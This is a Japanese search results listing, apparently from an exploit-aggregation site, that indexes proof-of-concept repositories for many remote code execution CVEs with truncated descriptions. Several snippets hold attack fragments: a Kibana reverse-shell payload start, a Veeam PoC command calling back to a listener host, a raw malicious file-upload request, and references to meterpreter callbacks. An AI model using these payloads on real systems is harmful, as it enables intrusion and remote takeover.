558016 matches found
CVE-2019-7609
CVE-2019-7609 kibana-7609 用の Docker ラボセットアップ 参照 : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Kibana を開く 以下のペイロードのいずれかを Timelion ビジュアライザーに貼り付けます 実行をクリックします 左側のパネルで Canvas をクリックします リバースシェルが起動するはずです! : @securityMB によるペイロード .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...
CVE-2022-22965_Spring_Core_RCE
Spring-Core-RCE Spring Framework リモートコード実行の脆弱性（CVE-2022-22965） Spring-Core-RCE は、Apache Log4j2 の核弾頭レベルの脆弱性エクスプロイトに匹敵する RCE ワンクリック悪用ツールです。 概要 最近、Spring 公式 GitHub issue で Spring Core のリモートコード実行の脆弱性が言及されました。この脆弱性は Spring フレームワークおよび派生フレームワークに広く存在します。 脆弱性の説明 Spring Core は、Spring シリーズ製品において bean...
CVE-2023-46404
CVE-2023-46404 PCRS は、トロント大学で開発されたオンラインプログラミング演習のためのウェブアプリケーションです。 Bitbucket リポジトリ: https://bitbucket.org/utmandrew/pcrs/src/3.11/ 概要 PCRS のコード提出機能を持つ「Questions」ページと「Code editor」ページは、Python サンドボックスをエスケープすることによりリモートコード実行 RCE に対して脆弱です。 詳細 PCRS インスタンスでは、ジェネレータオブジェクトを使用してリモートコード実行が可能です。ジェネレータフレーム...
pulse-secure-vpn-mitm-research
pulse-secure-vpn-mitm-research Pulse Secure MITM 研究 リリース日 ベンダーとの共同リリース日: 2020年10月26日 著者 David Kierznowski, @withdk クレジット 開示プロセス全体を通じて支援してくれた Pulse Secure PSIRT チームの Sahil Mahajan 氏。 記事「Red Teamer's Guide to Pulse Secure SSL VPN」を執筆した Alyssa Herrera、Justin Wagner、Mimir、Rich Warren 各氏 - Alyssa...
pulse-gosecure-rce-poc
pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...
wongpress
Ubuntu Server でバッファオーバーフローとフォーマット文字列の脆弱性を悪用してRCEを達成する実事例 関連するCVE CVE-2024-2961 : Glibcのiconv関数におけるバッファオーバーフローの脆弱性 CVE-2024-29510 : Ghostscript（PostScript言語インタープリタ）におけるフォーマット文字列の脆弱性 1. 問題の背景 近日公開 。 2. 攻撃シナリオ 近日公開 。 3. セットアップ プロジェクト構成 近日公開 。 4. エクスプロイト 近日公開 。 5. 参考文献 近日公開 。...
HG532d-RCE-Exploit
HG532d RCE エクスプロイト 概要 脆弱性CVE-2017-17215に基づくリモートコード実行（RCE）エクスプロイトです。exploit-db.comの元のPoCコードから改造し、Huawei HG532d ホームゲートウェイルーターで動作するようにしました。 説明 このRCEエクスプロイトはCVE-2017-17215に基づいており、Huawei HG532シリーズのホームルーターで動作するUPnPプロセスの脆弱性を悪用します。exploit-db.comの元のエクスプロイトはHG532ホームルーターを対象としています。 このエクスプロイトは、HTTP...
cve-2023-2523-and-cve-2023-2648
cve-2023-2523 注記：スクリプトはphpinfoファイルをアップロードします 使用方法： 結果は自動的にresult.txtファイルに保存されます 画像 手動POC： root@kitploit: POST /E-mobile/App/Ajax/ajax.php?action=mobileuploadsave HTTP/1.1 Host: your-ip Content-Length: 352 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type:...
CVE-2023-24489-poc
CVE-2023-24489-poc bash を使用した CVE-2023-24489 の POC。 テストしたいターゲットを以下の形式で列挙した target.txt リストが必要です： https://example1.com https://example2.com https://example3.com ファイルは、bash スクリプトを実行するディレクトリと同じ場所に置く必要があります。 ご使用の際は十分に注意してください！ 参考： https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/...
nginx-rce-cve-2026-42945
5. CVE-2026-42945 - 重大なNGINX RCE CVSS 9.2 分類 カテゴリ: 0-Day / リモートコード実行 CVE: CVE-2026-42945 CVSS: 9.2 重大 発見日: 2026年5月12日 パッチ適用日: 2026年5月（F5四半期セキュリティリリース） ソース: GitHub DepthFirstDisclosures/Nginx-Rift 脆弱性の詳細 NGINX の ngxhttprewritemodule コンポーネントにおけるヒープバッファオーバーフロー で、2008年 に導入され、発見まで16年間 存在していました。...
CVE-2024-4577
CVE-2024-4577 @watchTowr によって開発された概念実証 PoC です。PHP CGI 引数注入の脆弱性 CVE-2024-4577 を悪用し、Windows 環境で実行されている脆弱な PHP バージョンに対して RCE を取得します。この脆弱性の詳細な技術分析 Orange Tsi 🍊 この脆弱性は、DEVCORE @d3vc0r3 の Orange Tsai @orange8361 によって発見されました。彼の優れた研究をぜひフォローしてください。私たちの役割は、この問題のエクスプロイトを再現し、開発することだけでした。 PoC || GTFO...
CVE-2024-40711
CVE-2024-40711 Veeam backup and Replication の事前認証デシリアライゼーション CVE-2024-40711 のエクスプロイト 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoCの動作 root@kitploit: CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigg...
CVE-2023-40031
CVE-2023-40031 notepad++ヒープバッファオーバーフロー脆弱性CVE-2023-40031 分析と再現 脆弱性の概要 Notepad++...
watchTowr-vs-FortiWeb-CVE-2025-25257
watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257 用検出アーティファクト生成ツール 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 実行例 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost...
CVE-2024-27130
CVE-2024-27130 @watchTowr によって開発された概念実証 PoC で、脆弱な QNAP デバイス上のスタックオーバーフロー脆弱性を悪用して RCE を獲得します。 watchTowr Labs チームをフォローして、セキュリティ研究をご覧ください https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...
CVE-2022-24934
CVE-2022-24934 脆弱性概要 WPS Officeの更新プログラムwpsupdate.exeがレジストリHKEYCURRENTUSERからカスタム更新サーバアドレスを読み取り、カスタム更新プログラムをダウンロードして実行し、任意のコード実行を引き起こします。 影響範囲 WPS Officeのバージョン11.2.0.10382以下にこの脆弱性が存在します。 （WPSのバージョン番号は最後のグループを見てください。最後のグループの数字が大きいほど新しいバージョンです。11.1は個人版、11.2は企業版、11.6および11.8は政府・企業向けカスタム版を示します。） 再現環境...
juniper-rce_cve-2023-36844
CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 CVE CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 を連鎖させ、Juniper JunOSのSRXおよびEXシリーズ製品でリモートコード実行を実現するための概念実証（PoC）を @watchTowr が開発しました。 セキュリティ研究については watchTowr Labs チームをフォローしてください https://labs.watchtowr.com/...
CVE-2019-2729
CVE-2019-2729 Windows上で動作するOracle WebLogic用のCVE-2019-2729エクスプロイトコード。 CobaltStrikeリスナー、またはペイロードwindows/meterpreter/reversetcpを使用したMetasploitハンドラーへのコールバックを作成できます。 また、基盤となるホスト上でコマンドを実行するだけの非ビーコンエクスプロイトもあります。exploit.py。このバージョンはプロキシサポートも有効になっています。...
cve-2021-42013
Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.py は、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を見つけるための Python スクリプトです。CVE-2021-42013 の実践的な学習のために、脆弱な Docker インスタンスが提供されています。 CGI-BIN が有効な場合、リモートコード実行は可能ですが、パストラバーサルは不可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons"...